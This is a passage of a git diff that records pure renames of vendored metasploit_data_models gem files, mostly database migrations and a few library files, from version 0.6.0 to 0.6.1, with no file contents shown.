lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100916151530_require_admin_flag.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20100916151530_require_admin_flag.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100916175000_add_campaigns_and_templates.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20100916175000_add_campaigns_and_templates.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100916175000_add_campaigns_and_templates.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20100916175000_add_campaigns_and_templates.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100920012100_add_generate_exe_column.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20100920012100_add_generate_exe_column.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100920012100_add_generate_exe_column.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20100920012100_add_generate_exe_column.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100926214000_add_template_prefs.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20100926214000_add_template_prefs.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100926214000_add_template_prefs.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20100926214000_add_template_prefs.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101001000000_add_web_tables.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20101001000000_add_web_tables.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101001000000_add_web_tables.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20101001000000_add_web_tables.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101002000000_add_query.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20101002000000_add_query.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101002000000_add_query.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20101002000000_add_query.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101007000000_add_vuln_info.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20101007000000_add_vuln_info.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101007000000_add_vuln_info.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20101007000000_add_vuln_info.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101008111800_add_clients_to_campaigns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20101008111800_add_clients_to_campaigns.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101008111800_add_clients_to_campaigns.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20101008111800_add_clients_to_campaigns.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101009023300_add_campaign_attachments.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20101009023300_add_campaign_attachments.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101009023300_add_campaign_attachments.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20101009023300_add_campaign_attachments.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101104135100_add_imported_creds.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20101104135100_add_imported_creds.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101104135100_add_imported_creds.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20101104135100_add_imported_creds.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101203000000_fix_web_tables.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20101203000000_fix_web_tables.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101203000000_fix_web_tables.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20101203000000_fix_web_tables.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101203000001_expand_host_comment.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20101203000001_expand_host_comment.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101203000001_expand_host_comment.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20101203000001_expand_host_comment.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110112154300_add_module_uuid_to_tasks.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110112154300_add_module_uuid_to_tasks.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110112154300_add_module_uuid_to_tasks.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110112154300_add_module_uuid_to_tasks.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110204112800_add_host_tags.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110204112800_add_host_tags.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110204112800_add_host_tags.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110204112800_add_host_tags.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110317144932_add_session_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110317144932_add_session_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110317144932_add_session_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110317144932_add_session_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110414180600_add_local_id_to_session_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110414180600_add_local_id_to_session_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110414180600_add_local_id_to_session_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110414180600_add_local_id_to_session_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110415175705_add_routes_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110415175705_add_routes_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110415175705_add_routes_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110415175705_add_routes_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110422000000_convert_binary.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110422000000_convert_binary.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110422000000_convert_binary.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110422000000_convert_binary.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110425095900_add_last_seen_to_sessions.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110425095900_add_last_seen_to_sessions.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110425095900_add_last_seen_to_sessions.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110425095900_add_last_seen_to_sessions.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110513143900_track_successful_exploits.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110513143900_track_successful_exploits.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110513143900_track_successful_exploits.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110513143900_track_successful_exploits.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110527000000_add_task_id_to_reports_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110527000000_add_task_id_to_reports_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110527000000_add_task_id_to_reports_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110527000000_add_task_id_to_reports_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110527000001_add_api_keys_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110527000001_add_api_keys_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110527000001_add_api_keys_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110527000001_add_api_keys_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110606000001_add_macros_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110606000001_add_macros_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110606000001_add_macros_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110606000001_add_macros_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110622000000_add_settings_to_tasks_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110622000000_add_settings_to_tasks_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110622000000_add_settings_to_tasks_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110622000000_add_settings_to_tasks_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110624000001_add_listeners_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110624000001_add_listeners_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110624000001_add_listeners_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110624000001_add_listeners_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110625000001_add_macro_to_listeners_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110625000001_add_macro_to_listeners_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110625000001_add_macro_to_listeners_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110625000001_add_macro_to_listeners_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110630000001_add_nexpose_consoles_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110630000001_add_nexpose_consoles_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110630000001_add_nexpose_consoles_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110630000001_add_nexpose_consoles_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110717000001_add_profiles_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110717000001_add_profiles_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110717000001_add_profiles_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110717000001_add_profiles_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110727163801_expand_cred_ptype_column.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110727163801_expand_cred_ptype_column.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110727163801_expand_cred_ptype_column.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110727163801_expand_cred_ptype_column.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110730000001_add_initial_indexes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110730000001_add_initial_indexes.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110730000001_add_initial_indexes.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110730000001_add_initial_indexes.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110812000001_prune_indexes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110812000001_prune_indexes.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110812000001_prune_indexes.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110812000001_prune_indexes.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110922000000_expand_notes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110922000000_expand_notes.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110922000000_expand_notes.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110922000000_expand_notes.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110928101300_add_mod_ref_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110928101300_add_mod_ref_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110928101300_add_mod_ref_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20110928101300_add_mod_ref_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111011110000_add_display_name_to_reports_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20111011110000_add_display_name_to_reports_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111011110000_add_display_name_to_reports_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20111011110000_add_display_name_to_reports_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111203000000_inet_columns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20111203000000_inet_columns.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111203000000_inet_columns.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20111203000000_inet_columns.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111204000000_more_inet_columns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20111204000000_more_inet_columns.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111204000000_more_inet_columns.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20111204000000_more_inet_columns.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111210000000_add_scope_to_hosts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20111210000000_add_scope_to_hosts.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111210000000_add_scope_to_hosts.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20111210000000_add_scope_to_hosts.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120126110000_add_virtual_host_to_hosts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120126110000_add_virtual_host_to_hosts.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120126110000_add_virtual_host_to_hosts.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120126110000_add_virtual_host_to_hosts.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120411173220_rename_workspace_members.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120411173220_rename_workspace_members.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120411173220_rename_workspace_members.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120411173220_rename_workspace_members.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120601152442_add_counter_caches_to_hosts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120601152442_add_counter_caches_to_hosts.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120601152442_add_counter_caches_to_hosts.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120601152442_add_counter_caches_to_hosts.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000000_add_vuln_details.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120625000000_add_vuln_details.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000000_add_vuln_details.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120625000000_add_vuln_details.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000001_add_host_details.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120625000001_add_host_details.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000001_add_host_details.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120625000001_add_host_details.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000002_expand_details.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120625000002_expand_details.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000002_expand_details.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120625000002_expand_details.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000003_expand_details2.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120625000003_expand_details2.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000003_expand_details2.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120625000003_expand_details2.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000004_add_vuln_attempts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120625000004_add_vuln_attempts.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000004_add_vuln_attempts.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120625000004_add_vuln_attempts.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000006_add_module_details.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120625000006_add_module_details.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000006_add_module_details.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120625000006_add_module_details.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000007_add_exploit_attempts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120625000007_add_exploit_attempts.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000007_add_exploit_attempts.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120625000007_add_exploit_attempts.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000008_add_fail_message.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120625000008_add_fail_message.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000008_add_fail_message.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120625000008_add_fail_message.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/mdm.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/mdm.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/mdm.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/mdm.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/mdm/host/operating_system_normalization.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/mdm/host/operating_system_normalization.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/mdm/host/operating_system_normalization.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/mdm/host/operating_system_normalization.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/metasploit_data_models.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/metasploit_data_models.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/base64_serializer.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/metasploit_data_models/base64_serializer.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/base64_serializer.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/metasploit_data_models/base64_serializer.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/metasploit_data_models/engine.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/metasploit_data_models/engine.rb new 